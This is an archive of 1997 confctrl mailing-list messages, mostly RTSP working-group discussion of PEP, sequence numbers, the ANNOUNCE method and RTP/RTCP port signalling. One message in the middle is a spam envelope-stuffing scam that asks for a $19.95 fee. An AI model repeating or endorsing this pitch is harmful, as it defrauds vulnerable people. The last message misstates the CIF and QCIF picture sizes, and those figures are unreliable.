BgUrDgMCGgUAoIGxMBgGCSqGSIb3DQEJAzELBgkqhkiG9w0BBwEwIwYJKoZIhvcNAQkEMRYE
FBtGSaXquCW4Ww+igW3VOp+v71UQMBwGCSqGSIb3DQEJBTEPFw05NzA4MjkwMTEwMzlaMFIG
CSqGSIb3DQEJDzFFMEMwCgYIKoZIhvcNAwcwDgYIKoZIhvcNAwICAgCAMAcGBSsOAwIHMA0G
CCqGSIb3DQMCAgFAMA0GCCqGSIb3DQMCAgEoMA0GCSqGSIb3DQEBAQUABEA8ef4PpcaihTRe
HixyJcNrS7B+x2I7peYqmItc9nCwjDe/oIhid2yqYdHEZcW6/xPNP/JSBY/t0qNuqd+Nk3UN

--------------ms24415175E2534746F2C4B380--


From majordom@ISI.EDU  Thu Aug 28 14:43:38 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA27174>; Thu, 28 Aug 1997 21:43:52 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA27163>; Thu, 28 Aug 1997 21:43:51 -0700
Received: from murrow.prognet.com (prognet.com [205.219.198.1])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id VAA04702
	for <confctrl@isi.edu>; Thu, 28 Aug 1997 21:43:47 -0700 (PDT)
Received: from robla.dev.prognet.com (two221.dev.prognet.com) by murrow.prognet.com with SMTP id AA10186
  (5.67b/IDA-1.5 for <confctrl@isi.edu>); Thu, 28 Aug 1997 21:43:50 -0700
Message-Id: <3.0.3.32.19970828214338.013ca9b8@mail.prognet.com>
X-Sender: robla@mail.prognet.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.3 (32)
Date: Thu, 28 Aug 1997 21:43:38 -0700
To: confctrl@ISI.EDU
From: Rob Lanphier <robla@prognet.com>
Subject: RTSP 1c.: PEP-Protocol Extention Protocol
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

The PEP adventure continues ... :)

In draft03, we decided to add the Protocol Extension Protocol (PEP) to
RTSP, with the assumption that the PEP specification had stabilized and was
swiftly moving toward standardization in the HTTP working group.

In the Munich HTTP-WG session, it became clear that PEP specification was
not converging on a onto a solution that most HTTP implementors have
confidence in. Given that, it makes sense for the MMUSIC working group to
step back and engineer a solution that makes sense for RTSP (and SIP),
learning appropriate lessons from the PEP effort and drawing on the
experience of the parties involved.

Given that the only reasons why the "Require" and "Transport-Require"
fields were removed from RTSP between draft02 and draft03 was the potential
overlap in functionality between PEP and these fields, we will add those
fields back into the spec for draft04.

More information about PEP can be found at:

http://www.w3.org/pub/WWW/Protocols/PEP/Overview.html

Rob


From majordom@ISI.EDU  Fri Aug 29 03:54:34 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA04225>; Fri, 29 Aug 1997 04:54:52 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA04219>; Fri, 29 Aug 1997 04:54:51 -0700
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id EAA10334
	for <confctrl@ISI.EDU>; Fri, 29 Aug 1997 04:54:45 -0700 (PDT)
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id HAA22329; Fri, 29 Aug 1997 07:54:44 -0400 (EDT)
Received: from cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with ESMTP id HAA07502; Fri, 29 Aug 1997 07:54:37 -0400 (EDT)
Message-Id: <3406B879.FB4CB71F@cs.columbia.edu>
Date: Fri, 29 Aug 1997 07:54:34 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.02 [en] (X11; I; SunOS 5.5.1 sun4u)
Mime-Version: 1.0
To: Anup Rao <anup@netscape.com>
Cc: confctrl@ISI.EDU
Subject: Re: "seq" in Transport-Info
References: <Pine.WNT.3.95.970826175624.-188305J-100000@oak.precept.com> <3404B63D.F26CE787@cs.columbia.edu> <3406218E.98FD1AF9@netscape.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Anup Rao wrote:
> 
> Henning Schulzrinne wrote:
> 
> > The only time the sequence number matters is with an 'interrupt' PAUSE
> >
> > (pause *now*). Otherwise, you want all of the segments played
> > consecutively and there's no need to flush anything. Thus, it seems to
> >
> > make sense to include the last seq. no. in the PAUSE response, as
> > that's
> > the earliest opportunity to do so.
> 
>   Also desirable  for the very first PLAY, I think.  Marker bits or
> timestamps will not always be enough to tell  whether the first packet
> was received or not.

May be useful, but there really isn't a whole lot you can do until you
get the first packet, so knowing this information only makes the error
reporting slightly more accurate. The receiver better be prepared to
start playing at any instant; the mapping from TS to NPT will have to be
done within RTCP. While I see inclusion of this information in the PLAY
response as harmless (and easy), we shouldn't require it, since some
systems may not be able to get at this information easily.

> 
> --
> -----------------------------------------------------------------
>   Anup Rao
>   Member Of Technical Staff
>   Netscape Communications Corp.
>   email : anup@netscape.com         Phone : (415) 937 3129
> -----------------------------------------------------------------

-- 
Henning Schulzrinne        email: schulzrinne@cs.columbia.edu
Dept. of Computer Science  phone: +1 212 939-7042 (@Bell Labs: 908 949
8344)
Columbia University        fax:   +1 212 666-0140
New York, NY 10027         URL:   http://www.cs.columbia.edu/~hgs

From majordom@ISI.EDU  Fri Aug 29 17:06:03 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA11286>; Sat, 30 Aug 1997 00:06:19 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA11280>; Sat, 30 Aug 1997 00:06:18 -0700
Received: from murrow.prognet.com (prognet.com [205.219.198.1])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id AAA12447
	for <confctrl@isi.edu>; Sat, 30 Aug 1997 00:06:17 -0700 (PDT)
Received: from robla.dev.prognet.com (mg-20425426-194.ricochet.net) by murrow.prognet.com with SMTP id AA30483
  (5.67b/IDA-1.5 for <confctrl@isi.edu>); Sat, 30 Aug 1997 00:06:18 -0700
Message-Id: <3.0.3.32.19970830000603.0144fa80@mail.prognet.com>
X-Sender: robla@mail.prognet.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.3 (32)
Date: Sat, 30 Aug 1997 00:06:03 -0700
To: confctrl@ISI.EDU
From: Rob Lanphier <robla@prognet.com>
Subject: RTSP 1g.: Port number spec
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Currently, the RTSP specification is a bit vague as to how the RTP port
numbers are specified, since there are a lot of port numbers to deal with.

Since the specifications so far seemed to err on the side of conciseness, I
purposefully erred on the side of completeness in hopes that we could find
an acceptable middle ground.

Here's some examples of this admittedly verbose proposal:

Unicast Playback SETUP

   C->S:  SETUP foo
          Transport: RTP/AVP;client-rtp-port=1756;
                             client-rtcp-port=1757
   S->C:  OK
          Transport: RTP/AVP;server-rtcp-port=4057

Multicast Playback SETUP

   C->S:  SETUP foo
          Transport: RTP/AVP
   S->C:  OK
          Transport: RTP/AVP;destination=235.235.235.235
                             mutual-rtp-port=1756;
                             mutual-rtcp-port=1757

Multicast Playback SETUP (Client chooses address)

   C->S:  SETUP foo
          Transport: RTP/AVP;destination=235.235.235.235;
                             mutual-rtp-port=1756;
                             mutual-rtcp-port=1757
   S->C:  OK
          Transport: RTP/AVP

Unicast Record SETUP

   C->S:  SETUP foo
          Transport: RTP/AVP;client-rtcp-port=1757
   S->C:  OK
          Transport: RTP/AVP;server-rtp-port=4056;
                             server-rtcp-port=4057

Multicast Record SETUP

   C->S:  SETUP foo
          Transport: RTP/AVP;destination=235.235.235.235;
                             mutual-rtp-port=1756;
                             mutual-rtcp-port=1757
   S->C:  OK
          Transport: RTP/AVP;destination=235.235.235.235

We decided that more mailing list discussion was in order. There was some
discussion about explicitly specifying the RTP/RTCP port.

In particular, should a violation of the RTP/RTCP port picking rules be
allowable in unicast?

Rob

---
Rob Lanphier               Voice: (206)674-2322         Fax: (206)674-2699
Program Manager-Protocols                         Email: robla@prognet.com
Progressive Networks-Home of RealAudio            Web: http://www.real.com
For more information on firewalls:       http://www.real.com/help/firewall
For more information on RTSP:                     http://www.real.com/rtsp

From majordom@ISI.EDU  Fri Aug 29 16:59:11 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA11216>; Fri, 29 Aug 1997 23:59:27 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA11210>; Fri, 29 Aug 1997 23:59:26 -0700
Received: from murrow.prognet.com (prognet.com [205.219.198.1])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id XAA12362
	for <confctrl@isi.edu>; Fri, 29 Aug 1997 23:59:25 -0700 (PDT)
Received: from robla.dev.prognet.com (mg-20425426-194.ricochet.net) by murrow.prognet.com with SMTP id AA30337
  (5.67b/IDA-1.5 for <confctrl@isi.edu>); Fri, 29 Aug 1997 23:59:25 -0700
Message-Id: <3.0.3.32.19970829235911.0144fa80@mail.prognet.com>
X-Sender: robla@mail.prognet.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.3 (32)
Date: Fri, 29 Aug 1997 23:59:11 -0700
To: confctrl@ISI.EDU
From: Rob Lanphier <robla@prognet.com>
Subject: RTSP 1f.: Sequence number moved to the header fields
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Once upon a time, both SIP and RTSP had a sequence number in the top line
of the request (and the response), and HTTP didn't. Now only RTSP has
this. It's been suggested that we move this down to the RFC822 fields.

In Munich, everyone seemed largely indifferent, leaning toward not changing
this, for the following reasons:

  1. The sequence number is a pretty fundemental
     identifier of the message, not merely a property. It
     shouldn't be buried in the header fields.
  2. RTSP is a different protocol, so it can have a
     slightly different syntax

Discussion on this topic has taken a different direction on the mailing
list. See the "SIP, RTSP: sequence numbers" thread that has gone on since
Munich.

Back to your regularly scheduled sequence number debate, already in
progress.  Mail from Henning and Philipp on this issue express views not
put forward in Munich.

Rob

From majordom@ISI.EDU  Fri Aug 29 16:53:06 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA11143>; Fri, 29 Aug 1997 23:53:22 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA11137>; Fri, 29 Aug 1997 23:53:21 -0700
Received: from murrow.prognet.com (prognet.com [205.219.198.1])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id XAA12322
	for <confctrl@isi.edu>; Fri, 29 Aug 1997 23:53:20 -0700 (PDT)
Received: from robla.dev.prognet.com (mg-20425426-194.ricochet.net) by murrow.prognet.com with SMTP id AA30176
  (5.67b/IDA-1.5 for <confctrl@isi.edu>); Fri, 29 Aug 1997 23:53:20 -0700
Message-Id: <3.0.3.32.19970829235306.01448370@mail.prognet.com>
X-Sender: robla@mail.prognet.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.3 (32)
Date: Fri, 29 Aug 1997 23:53:06 -0700
To: confctrl@ISI.EDU
From: Rob Lanphier <robla@prognet.com>
Subject: RTSP 1d. ANNOUNCE method
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

The ANNOUNCE method was introduced in draft03 of RTSP.  Functionally, it is
equivalent to the S->C DESCRIBE, but we decided that it was semantically
different enough that it needs a new name.

There were no issues raised relative to this issue in Munich.  Please howl
if you intend to howl now (or refresh my memory if there was something
brought up that I'm missing here).  

Thanks
Rob

From majordom@ISI.EDU  Fri Aug 29 17:28:47 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA11553>; Sat, 30 Aug 1997 00:29:04 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA11547>; Sat, 30 Aug 1997 00:29:03 -0700
Received: from murrow.prognet.com (prognet.com [205.219.198.1])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id AAA12657
	for <confctrl@isi.edu>; Sat, 30 Aug 1997 00:29:02 -0700 (PDT)
Received: from robla.dev.prognet.com (mg-20425426-194.ricochet.net) by murrow.prognet.com with SMTP id AA30911
  (5.67b/IDA-1.5 for <confctrl@isi.edu>); Sat, 30 Aug 1997 00:29:02 -0700
Message-Id: <3.0.3.32.19970830002847.0144fa64@mail.prognet.com>
X-Sender: robla@mail.prognet.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.3 (32)
Date: Sat, 30 Aug 1997 00:28:47 -0700
To: confctrl@ISI.EDU
From: Rob Lanphier <robla@prognet.com>
Subject: RTSP 2c.: Interoperability Gathering
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

We briefly discussed having a gathering in the Seattle area (Progressive
Networks hosted) in the first week of October at which we have everyone who
is working on RTSP implementations get together and try to get
interoperability between all of our clients and servers.  This will let us
have a face-to-face opportunity to knock out draft issues and bugs in
implementations.

Dates are firming up a bit, and it looks as though October 16-17 is a bit
more realistic. Interested parties should contact me (robla@prognet.com,
206-674-2322), and I'll coordinate this event.

Rob

From majordom@ISI.EDU  Fri Aug 29 17:11:52 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA11393>; Sat, 30 Aug 1997 00:12:07 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA11387>; Sat, 30 Aug 1997 00:12:06 -0700
Received: from murrow.prognet.com (prognet.com [205.219.198.1])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id AAA12548
	for <confctrl@isi.edu>; Sat, 30 Aug 1997 00:12:05 -0700 (PDT)
Received: from robla.dev.prognet.com (mg-20425426-194.ricochet.net) by murrow.prognet.com with SMTP id AA30600
  (5.67b/IDA-1.5 for <confctrl@isi.edu>); Sat, 30 Aug 1997 00:12:06 -0700
Message-Id: <3.0.3.32.19970830001152.0144fa80@mail.prognet.com>
X-Sender: robla@mail.prognet.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.3 (32)
Date: Sat, 30 Aug 1997 00:11:52 -0700
To: confctrl@ISI.EDU
From: Rob Lanphier <robla@prognet.com>
Subject: RTSP 2b.: Release Scheudule
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Here's the schedule that was presented in Munich:

September 1: draft04
October 15: draft05
November 1: WG last call

All drafts will contain accurate changebars in the Postscript versions.

There were no objections or unsolicited giggles in Munich.

Draft04 is running a bit late, but should be on shelves shortly.  I
recommend we firm up on the open issues, and we'll make sure the spec is in
line with the current state of thinking.

Rob

---
Rob Lanphier               Voice: (206)674-2322         Fax: (206)674-2699
Program Manager-Protocols                         Email: robla@prognet.com
Progressive Networks-Home of RealAudio            Web: http://www.real.com
For more information on firewalls:       http://www.real.com/help/firewall
For more information on RTSP:                     http://www.real.com/rtsp

From majordom@ISI.EDU  Mon Sep  1 15:25:23 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA22272>; Mon, 1 Sep 1997 04:25:43 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA22266>; Mon, 1 Sep 1997 04:25:42 -0700
Received: from www45.inria.fr (hoschka@www45.inria.fr [138.96.10.9])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id EAA25917
	for <confctrl@isi.edu>; Mon, 1 Sep 1997 04:25:40 -0700 (PDT)
Received: by www45.inria.fr (8.8.6/8.8.5) id NAA13209; Mon, 1 Sep 1997 13:25:24 +0200 (MET DST)
Message-Id: <199709011125.NAA13209@www45.inria.fr>
To: confctrl@ISI.EDU
Subject: Re: RTSP 1f.: Sequence number moved to the header fields 
In-Reply-To: Your message of "Fri, 29 Aug 1997 23:59:11 PDT."
             <3.0.3.32.19970829235911.0144fa80@mail.prognet.com> 
Date: Mon, 01 Sep 1997 13:25:23 +0200
From: Philipp Hoschka <Philipp.Hoschka@sophia.inria.fr>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

.Mail from Henning and Philipp on this issue express views not
>put forward in Munich.

not true - I expressed this view in Munich, possibly not forcefully
enough to be memorable :-)

-Philipp

From majordom@ISI.EDU  Mon Sep  1 06:14:53 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA24088>; Mon, 1 Sep 1997 07:14:59 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA24082>; Mon, 1 Sep 1997 07:14:58 -0700
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA27344
	for <confctrl@ISI.EDU>; Mon, 1 Sep 1997 07:14:56 -0700 (PDT)
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id KAA07238; Mon, 1 Sep 1997 10:14:54 -0400 (EDT)
Received: from cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with ESMTP id KAA17231; Mon, 1 Sep 1997 10:14:53 -0400 (EDT)
Message-Id: <340ACDDD.E63A9310@cs.columbia.edu>
Date: Mon, 01 Sep 1997 10:14:53 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.02 [en] (X11; I; SunOS 5.5.1 sun4u)
Mime-Version: 1.0
To: Rob Lanphier <robla@prognet.com>
Cc: confctrl@ISI.EDU
Subject: Re: RTSP 1g.: Port number spec
References: <3.0.3.32.19970830000603.0144fa80@mail.prognet.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Rob Lanphier wrote:
> 

> In particular, should a violation of the RTP/RTCP port picking rules be
> allowable in unicast?

I'm strongly opposed to relaxing the requirement of consecutive port
numbers for RTP and RTCP. I see no good reason to do so. The one reason
that I have heard (difficulty in finding available port pairs) would
only appear to be an issue for a very busy RECORD server. PLAY servers
only need to bind to the RTCP port, since they don't expect to receive
any data on the RTP port. (The UDP source port doesn't matter to the
client.) A server busy enough to worry about ports is not likely to be
serving lots of other port-hungry UDP applications (what would these be
in any event?), so that ports should be available in pairs without a lot
of searching.

Violating the port number convention makes life difficult for firewalls,
existing monitoring tools, existing media applications and new resource
reservation protocols such as YESSIR
(http://www.cs.columbia.edu/~hgs/research/reservation).

Also, it adds yet another variable that needs to be conveyed.

Henning
-- 
Henning Schulzrinne        email: schulzrinne@cs.columbia.edu
Dept. of Computer Science  phone: +1 212 939-7042 (@Bell Labs: 908 949
8344)
Columbia University        fax:   +1 212 666-0140
New York, NY 10027         URL:   http://www.cs.columbia.edu/~hgs

From majordom@ISI.EDU  Mon Sep  1 07:08:32 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA24756>; Mon, 1 Sep 1997 08:08:36 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA24750>; Mon, 1 Sep 1997 08:08:35 -0700
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA27883
	for <confctrl@ISI.EDU>; Mon, 1 Sep 1997 08:08:34 -0700 (PDT)
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id LAA09144; Mon, 1 Sep 1997 11:08:33 -0400 (EDT)
Received: from cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with ESMTP id LAA17314; Mon, 1 Sep 1997 11:08:32 -0400 (EDT)
Message-Id: <340ADA70.645A513B@cs.columbia.edu>
Date: Mon, 01 Sep 1997 11:08:32 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.02 [en] (X11; I; SunOS 5.5.1 sun4u)
Mime-Version: 1.0
To: Rob Lanphier <robla@prognet.com>
Cc: confctrl@ISI.EDU
Subject: Re: RTSP 1g.: Port number spec
References: <3.0.3.32.19970830000603.0144fa80@mail.prognet.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Rob Lanphier wrote:
> 
> Currently, the RTSP specification is a bit vague as to how the RTP port
> numbers are specified, since there are a lot of port numbers to deal with.
> 
> Since the specifications so far seemed to err on the side of conciseness, I
> purposefully erred on the side of completeness in hopes that we could find
> an acceptable middle ground.

These assumptions underlie the following proposal:

- the receiver of data/control messages gets to specify the port;
- RTP ports are specified, RTCP ports are implied (+1); see previous
message on motivation;
- since only receive port matter, the spec always implies "the port to
bind to";
- for multicast, everybody sends and receives on the same port pair.

Unicast PLAY/RECORD:

C->S: SETUP
      Transport: port=3456

means that the client wants data at 3456 and RTCP at 3457.

S->C  200 OK
      Transport-Info: port=3000  

means that the server wants data at 3000 (there is no data for PLAY, but
this doesn't much matter) and RTCP at 3001. This model corresponds
exactly with the model used by the SIP+SDP combination. If we want to be
more verbose, we could define server_port and client_port:

C->S: SETUP
      Transport: client_port=3456

S->C: 200 OK
      Transport-Info: server_port=3000;client_port=3456

For unicast recording, this would be the same, except that the client
now sends data to 3000/3001 and the server sends RTCP report to 3457.

For multicast, the verbose option:

C->S: SETUP
      Transport: client_port=3456

S->C: SETUP
      Transport-Info: client_port=3000; server_port=3000;
address=224.2.0.1

This signals to the client that it better expect data on 3000 rather
than 3456, overriding the client's choice. (The client didn't know that
multicast was in the cards.)

Henning
---
Henning Schulzrinne        email: schulzrinne@cs.columbia.edu
Dept. of Computer Science  phone: +1 212 939-7042 (@Bell Labs: 908 949
8344)
Columbia University        fax:   +1 212 666-0140
New York, NY 10027         URL:   http://www.cs.columbia.edu/~hgs

From majordom@ISI.EDU  Fri Sep  1 19:53:32 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA15128>; Tue, 2 Sep 1997 05:47:24 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA15122>; Tue, 2 Sep 1997 05:47:22 -0700
Received: from NIH2WAAF (smtp6.site1.csi.com [149.174.183.75])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id FAA11058
	for <confctrl@ISI.EDU>; Tue, 2 Sep 1997 05:47:22 -0700 (PDT)
From: Staff@RDenterprises.com
Received: from rd - 206.248.51.53 by csi.com with Microsoft SMTPSVC;
	 Mon, 1 Sep 1997 23:53:11 -0400
Subject: I thought you might be interested.
Message-Id: <061551153030297NIH2WAAF@csi.com>
Date: 1 Sep 1997 23:53:32 -0400
Apparently-To: <confctrl@zephyr.isi.edu>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


                          WOULD YOU STUFF
                          ENVELOPES FOR 
                          1,000'S WEEKLY

                 $2 For Each Envelope You Can Stuff 
              SIMPLE, PLEASANT WORK YOU CAN DO AT HOME
  
HELP SOLVE YOUR MONEY PROBLEMS. No more worries over inflation, 
recession, bills, rising gasoline prices and other costs. If you are 
looking for easy income to relieve financial pressures, you owe it to 
yourself to investigate our offer.

HERE IS YOUR CHANCE to earn extra money working at home by becoming an 
active participant of our successful mailing association. You receive 
cash daily for the envelopes you stuff. There is no limit. You stuff as 
many as you wish.

NO EXPERIENCE OR SPECIAL SKILLS REQUIRED. Our HOME MAILER'S PROGRAM
is designed especially for people with little or no business experience 
and, provides step-by-step instructions.

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

You may work in the comfort of your own home, choose your hours, set 
your own pace. No need to leave your present job. The possibilities are 
unlimited get  the  whole  family to  join in. Form workshops  with your 
friends. In addition to mailing our sales letter, we will help you reap 
huge profits from  manufacturers anxious  to use  your services, at no 
extra cost to yourself! We will further show you how to expand your 
operation and boost your new income as high as you wish to go.                                            
	
                            NOW ITS ALL UP TO YOU                 
                                            
The opportunity for the better life is here, it's waiting! But only YOU 
can take that all important step that separates the achievers from the 
dreamers. Order NOW!              


                           ***********************
                           *WHY IS THIS POSSIBLE?*
                           ***********************
       
There are many mail-order companies who want to expand with a
company who needs home workers. Each member is an independent home 
worker. You serve a company that pays good commissions to help their 
business, but do not want to hire more people. If they hired more 
employees, they would have to supervise them, rent more office space, 
pay more taxes and insurance, all involving more paperwork. It is much 
easier for them to set it up  so that independent  home workers  can 
earn  money doing the work themselves. This program is designed to help 
people cash in with a company who needs more home workers. This program
has been perfected so  that is has  become  one of the most successful and 
profitable ones ever.  We invite you to take part in our success. 
The money you earn is up to you. We do not require that you mail a 
certain number of pieces each week. You can take on whatever amount of 
business that fits your schedule, and you can quit whenever you want. 
There are no obligations. This work mainly consists of the securing of 
envelopes.      


ALL BUSINESS can be done by MAIL and we give you complete assistance at 
every step to insure your success. You can START THE SAME DAY you 
receive the instructions and begin RECEIVING YOUR MONEY WITHIN TWO WEEKS 
and every week from then on as long as you desire. 
Please allow 2-3 weeks for delivery. 
Envelopes will already be stamped and addressed.

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
   GUARANTEE: We welcome you to this program and extend to you 
   our unconditional guarantee  that everything  we have said 
   about this program is true and that you will be delighted 
   with the money you make. Our goals and continued success 
   depends upon your 100% satisfaction with this program.
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
                        	DON'T BE FOOLED!
There are more fraudulent envelope addressing and chain letter schemes 
being sold today. We recommend that you avoid them. Why fool with some 
questionable scheme when our program enables you to earn so much money 
legally. This is not an offer of employment. It is an opportunity to 
become an independent commission mailer for our company. Remember, unlike 
the others, this is not a get-rich-quick scheme. It is a proven program 
for making money while filling the needs of a company who needs people 
to mail their circulars.

IN ORDER TO GET YOU STARTED IMMEDIATELY, we require a one-time fee of only 
$19.95. This covers our expense in showing you what to do and guarantees 
you can work with us as long as desired. You will not be required or asked 
to pay for any additional information or manuals. In as much as we would 
like to send you our program with no charge, we must protect 
ourselves from those who are not serious and have no intention other to 
satisfy their own curiosity. Naturally, no business can afford to send out 
costly material to everyone who writes asking for it.  This small charge 
assures us that you are serious about wanting to earn money at home.

                      DON'T DELAY - START IMMEDIATELY!!!
    TIME IS MONEY, YOU CAN BEGIN NOW BY PUTTING YOUR TIME TO THE BEST USE.
              THE NEXT FEW MINUTES CAN LITERALLY CHANGE YOUR LIFE.
                 DON'T LET THIS EXTRAORDINARY OPPORTUNITY PASS.
                       YOUR REGISTRATION FEE REFUNDED
                as soon as you submit your first 100 envelopes.
===========================================================================
                               ****NOTE****
This offer is valid in ALL countries, no matter where you live!  Our only 
requirement is that you send your money in US funds for residents outside 
of Canada.
===========================================================================
	                                 APPLICATION FORM 
Send CASH, or MONEY ORDER to: 
(please allow 4 weeks for delivery if payment is by cheque)

                              R&D Enterprises
                              P.O. Box 563
                              Lindsay, Ontario, Canada   K9V-4S5

ENCLOSED IS $19.95 FOR THE COMPLETE HOME MAILER'S PROGRAM.  


NAME:__________________________________________________________________
ADDRESS: _______________________________________________________________
City: _____________ State/Province:_________ ZIP/POSTAL CODE:____________
Country___________ E-Mail Address________________________________________
Phone Number (         )_________________________________________

COMPARE
$19.95 ---------------------------------------------------------- $1,000's
The amount of money I would like to earn each week is: 
                                         O $500.00  O  $1,000.00 or more.
===========================================================================



From majordom@ISI.EDU  Tue Sep  2 05:17:05 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA06501>; Tue, 2 Sep 1997 12:17:06 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA06494>; Tue, 2 Sep 1997 12:17:04 -0700
Received: from mail-out2.apple.com (mail-out2.apple.com [17.254.0.51])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id MAA25228
	for <confctrl@ISI.EDU>; Tue, 2 Sep 1997 12:17:03 -0700 (PDT)
Received: from scv1.apple.com (A17-128-100-139.apple.com [17.128.100.139])
	by mail-out2.apple.com (8.8.5/8.8.5) with ESMTP id MAA19464;
	Tue, 2 Sep 1997 12:17:00 -0700
Received: from [17.255.20.120] ([17.255.20.120])
	by scv1.apple.com (8.8.5/8.8.5) with ESMTP id MAA27994;
	Tue, 2 Sep 1997 12:17:05 -0700
Date: Tue, 2 Sep 1997 12:17:05 -0700
X-Sender: alagu@mail.apple.com
Message-Id: <v03020923b031a685ecfd@[17.255.20.120]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
To: confctrl@ISI.EDU, rem-conf@es.net
From: Alagu Periyannan <alagu@apple.com>
Subject: Sending "cliprect" over SDP
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


Hi all:

Popular video compressions schemes used with RTP
(H.262, H.263) offer a restricted set of picture sizes.

These are CIF (376x288), QCIF (188x144) and in the
case of H.263, 4CIF, 16CIF. Since these sizes are fixed
many of today's conferencing and broadcast tools
place a gray border around an image captured at a
different size.

This looks fine when the aspect ratio is close to
the CIF ratio as is the case for NTSC. However, if one
needs to send say cinema-style letterbox format the
gray borders will be fat and will not look good.
